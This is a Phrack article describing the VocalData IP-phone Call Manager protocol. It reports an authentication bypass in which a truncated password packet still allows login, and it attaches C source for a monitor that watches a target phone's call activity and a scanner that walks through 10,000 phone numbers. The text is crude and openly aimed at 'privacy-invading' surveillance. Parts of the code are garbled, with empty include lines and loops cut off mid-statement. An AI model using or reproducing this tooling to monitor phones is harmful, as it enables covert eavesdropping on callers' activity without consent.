==Phrack Inc.== Volume 0x0b, Issue 0x3f, Phile #0x0b of 0x0f |=----------=[ Monitoring IP Phone Activity Through VocalData ]=--------=| |=----------------------------------------------------------------------=| |=--------------------------=[ tr4shc4n m4n ]=--------------------------=| 1 - Introduction 2 - Protocol Details 2.1 - Overview 2.2 - Message Structure 3 - Conclusion 4 - Attached Source Code 4.1 - Monitor 4.2 - Scanner --[ 1. Introduction hidey ho kids. Today we learn a little bit about vocaldata software and how it affects our ability to watch the calls you make through your IP phones. VocalData (www.vocaldata.com) makes a certain program that kicks ass, and it runs on Call Managers. This program listens to port 28784 UDP and tells the Call Manager in what way to manipulate IP Phones based upon the information it receives over the network. Here is a picture: 8=> () It is of a small penis looking at two parenthesis. Anyways, here is how this program works. --[ 2. Protocol Details ----[ 2.1 Overview A client sends an initiation packet from port 28785 to 28784 on the CM. Then the client sends some authentication information to login. Should this be sucessful, the CM will start sending updates on the phone that was logged into to the client. I guess a better description would be: CLIENT ----> SERVER areyouthere yes|no login ok|fuckoff getinfo bunchainfoforthephone In the AYT bit, I lied. There is't a yes|no response.. just a "yes" response... so its pretty tough to scan for these servers. What pisses me off about the 'areyouthere' portion is you send the # of the phone you want to log into, and it is stored in hex.. as in lets say I want to login into 212-432-1015, the number is stored in the packet as such: \xA2\x12\x43\x21\x01\x05 All the questions you have about that number I have as well, yes I understand enough of the \xA2 part and why the 5 isn't 50 and is 05... well... ok I dunno why.. but thats how it is damnit. If you change it the protocol wont fucking work. ----[ 2.2 Message Structure \x00\x20\x00\x00\x00\x msg size specifies the size of the message being sent, and msg is the actual message. The first five bytes im not sure about, other then the \x00 after the \x20 is a \x04 during the login phase. So is the size of the portion in hex. A login packet looks like this: Event,Login,Password, Now here is something really cool about the password thing. When you send the login packet, with a bogus password, it sends you back a packet saying that you entered a bogus password. So I sent the packet but only sent a couple bytes and was able to log into the phone anyways. Well, at least I could monitor the activity on the phone. --[ 3. Conclusion In any event, there are a couple tools here to monitor activity on IP Phones using the vocaldata software. Good luck to your privacy-invading ass and who knows, maybe I'll put out the code to actually control the phones. --[ 4. Attached Source Code ----[ 4.1 The Monitor /* Here is the shitty DNR type program. For those who don't know what I mean please locate a book on telephone systems (the thicker the better) and then have someone smash it repeatedly on your stupid head. Usage: ./a.out CM IP is the IP of the call manager phone # is the phone number to log If you can actually understand my extremely shity code, you'll notice a lot of stuff that is there that doesn't seem to work. Thats because it doesn't. I'm still working on that and for some reason can't get the damn server to acknowledge my control packets. But that doesn't concern me too much, lest we have a lot of kids fuckin with too much stuff and destroying this awesome trend in actually routing phone calls over the internet. */ #include #include #include #include #include #include #include int cport = 28785; int sport = 28784; int csock, ssock; int size; struct sockaddr_in caddr, saddr; struct hostent *h; char *buf; int c_index=0x00, s_index=0xFF; struct pkt { char l_id; char r_id; char dunno[5]; char size; char msg[255]; }; char pre[] = "\x00\xFF\x04\x82\x02\xA7\x03\x62\x16\x42\x04\x02\x00\x01\x01"; /* ^ ^^ ^^ ^^ ^^ ^ is the phone# */ char login[] = "Event,Login,Password,1234\x00"; char info[] = "Event,ButtonInfo,Get,1\x00"; char queue_set[] = "Event,Button,Button,35\x00"; char event_end[] = "Event,End\x00"; char event_boot[] = "Event,Boot\x00"; char ack[] = "\x00\x00\x00"; int send_pkt(struct pkt *m) { #ifdef DEBUG printf("\nlid:%x,sid:%x,size:%x,msg:%s\n", m->l_id, m->r_id, m->size, m->msg); printf("bytes: %d\n", sendto(ssock, m, 8 + m->size, 0, (struct sockaddr *)&saddr, sizeof(saddr))); #else sendto(ssock, m, 8 + m->size, 0, (struct sockaddr *)&saddr, sizeof(saddr)); #endif c_index++; return 0; } int e_boot() { struct pkt m; bzero(&m, sizeof(m)); m.l_id = c_index; m.r_id = s_index; memcpy(&m.dunno, "x00\x20\x00\x00\x00", 5); m.size = strlen(event_boot); strcpy(m.msg, event_boot); send_pkt(&m); } int e_end() { struct pkt m; bzero(&m, sizeof(m)); m.l_id = c_index; m.r_id = s_index; memcpy(&m.dunno, "x00\x20\x00\x00\x00", 5); m.size = strlen(event_end); strcpy(m.msg, event_end); send_pkt(&m); } int queue() { struct pkt m; bzero(&m, sizeof(m)); m.l_id = c_index; m.r_id = s_index; memcpy(&m.dunno, "x00\x20\x00\x00\x00", 5); m.size = strlen(queue_set); strcpy(m.msg, queue_set); send_pkt(&m); } int get_info() { struct pkt m; bzero(&m, sizeof(m)); m.l_id = c_index; m.r_id = s_index; memcpy(&m.dunno, "x00\x20\x00\x00\x00", 5); m.size = strlen(info); strcpy(m.msg, info); send_pkt(&m); } int get_resp() { int x; struct pkt m; bzero(&m, sizeof(m)); x=recvfrom(ssock, &m, sizeof(m), 0, (struct sockaddr *)&caddr, &size); if( x != -1 ) { #ifdef DEBUG if(m.size == 0 ) printf("PACKET: %d\n", x); #endif if(s_index == m.l_id) event_null(); for(x=0;x 122) ) m.msg[x] = '.'; if(m.size != 0) printf("\nMSG[id:%d/%d,size:%x]:\n %s\n", m.l_id, m.r_id, m.size, m.msg); s_index = m.l_id; } } int event_null() { ack[0] = (int)c_index-1; ack[1] = (int)s_index; ack[2] = 0x00; #ifdef DEBUG printf("SENDING NULL %d/%d\n", c_index, s_index); #endif if( sendto(ssock, ack, 3, 0, (struct sockaddr *)&saddr, sizeof(saddr)) < 0 ) printf("send error\n"); } int pre_auth() { int x, len=295; if( sendto(ssock, pre, 15, 0, (struct sockaddr *)&saddr, sizeof(saddr)) < 0 ) printf("send error\n"); buf = (char *)malloc(120); #ifdef DEBUG printf("Waiting for response...\n"); #endif if( recvfrom(ssock, buf, len, 0, (struct sockaddr *)&caddr, &size) < 0 ) printf("recv error\n"); #ifdef DEBUG for(x=0;x 122) ) buf[x] = '.'; for(x=0;x \n"); return 0; } ssock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP); saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = inet_addr(argv[1]); saddr.sin_port = htons(sport); caddr.sin_family = AF_INET; caddr.sin_addr.s_addr = htonl(INADDR_ANY); caddr.sin_port = htons(cport); bind(ssock, (struct sockaddr *)&caddr, sizeof(caddr)); tp.tv_usec = tp.tv_sec = 0; getnum(argv[2]); pre_auth(); do_login(); fflush(stdin); for(x=0;x!=1;){ FD_ZERO(&fset); FD_SET(ssock, &fset); FD_SET(0, &fset); switch( select(ssock+1, &fset, 0, 0, 0) ) { case -1: printf("eh?"); break; case 0: break; default: if( FD_ISSET(0, &fset) ) switch( getchar() ) { case 'q': x=1; break; case 'a': queue(); break; case 'n': event_null(); break; case 'g': get_info(); break; case 'i': printf("US:%d,THEM:%d\n", c_index, s_index); break; case 'b': e_boot(); break; case 'e': e_end(); break; default: break; } if( FD_ISSET(ssock, &fset) ) get_resp(); break; } } e_end(); close(ssock); } ----[ 4.2 The Scanner /* Here is the shitty little scanner. Don't bitch. Usage: ./a.out starting # is the number you want to scan CM IP is the IP address of the call manager running vocaldata */ #include #include #include #include #include #include #include int cport = 28785; int sport = 28784; int csock, ssock; int size; struct sockaddr_in caddr, saddr; struct hostent *h; char *buf; int c_index=0x00, s_index=0xFF; struct pkt { char l_id; char r_id; char dunno[5]; char size; char msg[255]; }; char pre[] = "\x00\xFF\x04\x82\x02\xA0\x00\x00\x00\x00\x00\x02\x00\x01\x01"; /* ^ ^^ ^^ ^^ ^^ ^ is the phone# */ int pre_auth() { int x, len=350; struct timeval tp; /* Clean out our recv queue cuz I think we may have extra shit in there after a positive match */ tp.tv_usec = 50; tp.tv_sec = 0; setsockopt(ssock, SOL_SOCKET, SO_RCVTIMEO, &tp, sizeof(tp)); size = sizeof(caddr); while( recvfrom(ssock, buf, len, 0, (struct sockaddr *)&caddr, &size) != -1 ); /* Send out our packet */ if( sendto(ssock, pre, 15, 0, (struct sockaddr *)&saddr, sizeof(saddr)) < 0 ) printf("send error\n"); /* Reset the timeout value and wait for a response */ tp.tv_usec = 0; tp.tv_sec = 1; setsockopt(ssock, SOL_SOCKET, SO_RCVTIMEO, &tp, sizeof(tp)); buf = (char *)malloc(len); bzero(buf, len); if( recvfrom(ssock, buf, len, 0, (struct sockaddr *)&caddr, &size) != -1 ) { printf("("); for(x=82;x= 0x21) && ((int)buf[x] <= 0x7a) ) printf("%c", buf[x] & 0xff); printf(")\n"); } free(buf); } int getnum(char *num) { int number[10], x; char buf[11]; strcpy(buf, num); for(x=0;x \n"); return 0; } ssock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP); saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = inet_addr(argv[2]); saddr.sin_port = htons(sport); caddr.sin_family = AF_INET; caddr.sin_addr.s_addr = htonl(INADDR_ANY); caddr.sin_port = htons(cport); bind(ssock, (struct sockaddr *)&caddr, sizeof(caddr)); num = (char *)malloc(10); strcpy(num, argv[1]); printf("Starting scan at %s\n", num); for(x=0;x<10000;x++) { getnum(num); pre_auth(); incr(num, 9); } } |=[ EOF ]=---------------------------------------------------------------=|